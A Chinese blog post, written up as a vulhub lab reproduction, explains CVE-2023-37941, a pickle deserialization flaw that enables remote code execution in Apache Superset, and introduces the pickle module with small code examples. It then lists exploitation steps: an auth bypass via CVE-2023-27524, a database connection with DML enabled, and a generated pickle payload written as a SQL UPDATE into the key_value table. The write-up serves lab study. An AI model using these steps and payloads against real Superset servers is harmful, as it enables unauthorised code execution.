【vulhub漏洞复现】Deserialization -- Apache Superset Python Pickle 反序列化导致远程代码执行(CVE-2023-37941)

本文最后更新于 2026年3月16日 晚上

1.漏洞原理

Apache Superset是一个开源的数据探索和可视化平台,设计为可视化、直观和交互式的数据分析工具。

Apache Superset 1.5至2.1.0版本中存在一个Python Pickle反序列化漏洞(CVE-2023-37941)。该应用程序使用Python的pickle包来在元数据数据库中存储特定的配置数据。具有元数据数据库写入权限的已认证用户可以插入恶意的Pickle有效载荷,当应用程序反序列化这些数据时,会导致Superset服务器上的远程代码执行。

漏洞核心:未对反序列化的数据进行过滤

1. pickle 本身的高危设计特性

pickle 是 Python 专属的序列化工具,它的反序列化过程会直接执行数据中包含的 Python 代码,这是它的原生设计,而非程序 bug。这意味着只要输入的 pickle 数据是恶意构造的,就会在服务器上触发任意代码执行,没有任何内置的安全沙箱或防护机制。

2. 输入验证与安全过滤完全缺失

Superset 在处理元数据数据库 key_value 表中的配置数据时,没有对要反序列化的 pickle 内容做任何安全校验

  • 既没有验证数据来源的合法性,也没有对 pickle 字节流进行恶意代码检测。
  • 直接信任并反序列化了数据库中的数据,相当于把 “执行任意代码” 的权限交给了不可信的输入。

当与CVE-2023-27524结合使用时,未经身份验证的攻击者可以先绕过身份验证,然后利用反序列化漏洞执行任意代码

CVE-2023-27524可以看我往期的文章

2.什么是 Python 的 pickle 包

pickle 是 Python 标准库中的一个模块,核心作用是实现 Python 对象的序列化与反序列化,简单来说就是把内存里的 Python 对象(比如字典、列表、类实例等)转换成字节流,也能把字节流还原成原来的对象。

pickle模块常用函数

(1)pickle.dump(obj, file, [,protocol])

函数的功能:将obj对象序列化存入已经打开的file中。

参数:

obj:想要序列化的obj对象。

file:文件名称。

protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

1
2
3
4
5
6
7
8
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import pickle
# 将test对象序列化到文件中
def dump_test_data():
test = [1, 2, 3]
with open("test.pickle", "wb") as file:
pickle.dump(test, file)

(2)pickle.load(file)

函数的功能:将file中的对象序列化读出。

参数:

file:文件名称。

1
2
3
4
5
6
7
8
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import pickle
# 将文件中test对象序列化读出
def load_test_data():
with open("test.pickle", "rb") as file:
test = pickle.load(file)
return test

(3)pickle.dumps(obj[, protocol])

函数的功能:将obj对象序列化为string形式,而不是存入文件中。

参数:

obj:想要序列化的obj对象。

protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import pickle
# 将test对象序列化为字符串形式
def dumps_test_data():
test = [1, 2, 3]
# dumps 将数据通过特殊的形式转换为仅python语言识别的字符串
str_test = pickle.dumps(test)
print(str_test)

(4)pickle.loads(string)

函数的功能:从string中读出序列化前的obj对象。

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import pickle
# 从string中读出序列化前的对象
def loads_test_data():
test = [1, 2, 3]
str_test = pickle.dumps(test)
# loads 将pickle数据转化为python的数据结构
loads_test = pickle.loads(str_test)
print(loads_test)

pickle 的应用场景

(一)数据持久化
在数据处理和分析应用中,经常需要将中间结果或最终结果保存到磁盘上以便后续使用。pickle 可以方便地将复杂的数据结构(如大型数据集、机器学习模型等)保存为文件,避免了每次重新计算或重新加载数据的麻烦。例如,在训练一个机器学习模型后,可以使用 pickle 将训练好的模型对象保存起来,下次使用时直接从文件中加载模型即可进行预测,大大提高了效率。
(二)数据传输
在分布式系统或网络编程中,需要在不同的进程或机器之间传输数据。pickle 可以将数据对象序列化为字节流,然后通过网络套接字等方式进行传输,接收方再进行反序列化得到原始对象。虽然在网络传输中可能会考虑使用更轻量级和跨语言的序列化格式(如 json),但对于只在 Python 环境内部进行的传输,pickle 因其对各种 Python 对象的良好支持而具有一定的优势。
(三)缓存机制
在一些需要频繁计算但结果相对稳定的场景中,可以使用 pickle 实现缓存机制。例如,一个函数的计算结果可能需要花费较长时间,但在一段时间内不会发生变化。可以将第一次计算的结果使用 pickle 保存到文件中,下次调用函数时先检查缓存文件是否存在,如果存在则直接从文件中反序列化结果,避免重复计算,提高程序的运行速度。

3.漏洞复现

首先使用CVE-2023-27524实现绕过,然后再用浏览器重新访问主页,点击show response in browser,然后Copy到浏览器,这时我们成功进入主页。

首先,创建一个新的”Dashboard”,并通过点击”Share”按钮生成一个永久链接,复制这个永久链接,稍后将会用到:

然后,按照以下步骤创建一个新的”Database”:

  1. 导航到”Data”→”Databases”
  2. 点击”+ Database”添加一个新的数据库连接
  3. 输入数据库名称(比如”SQLite”)
  4. 这里请填写:sqlite+pysqlite:////app/superset_home/superset.db
  5. 展开”Advanced”并勾选”Expose in SQL Lab”和”Allow DML”
  6. 保存数据库配置

然后,使用CVE-2023-37941.py生成恶意SQL命令(-d选项可以是sqlitemysqlpostgres,表示Superset服务器的数据库类型,在Vulhub中是sqlite):

1
2
3
4
5
6
$ python3 CVE-2023-37941.py -c "touch /tmp/success" -d sqlite
[+] Base64 encoded payload:
Y3Bvc2l4CnN5c3RlbQpwMAooVnRvdWNoIC90bXAvc3VjY2VzcwpwMQp0cDIKUnAzCi4=

[+] Hex encoded payload (for SQL):
update key_value set value=X'63706f7369780a73797374656d0a70300a2856746f756368202f746d702f737563636573730a70310a7470320a5270330a2e' where resource='dashboard_permalink';

[!注意] 因为pickle反序列化的Payload在不同操作系统上是不同的,所以你需要在Linux或MacOS上生成Payload。


【vulhub漏洞复现】Deserialization -- Apache Superset Python Pickle 反序列化导致远程代码执行(CVE-2023-37941)
http://www.ybyb.org.cn/2026/01/24/【vulhub漏洞复现】Deserialization-Apache-Superset-Python-Pickle-反序列化导致远程代码执行(CVE-2023-37941)/
作者
LHN
发布于
2026年1月24日
许可协议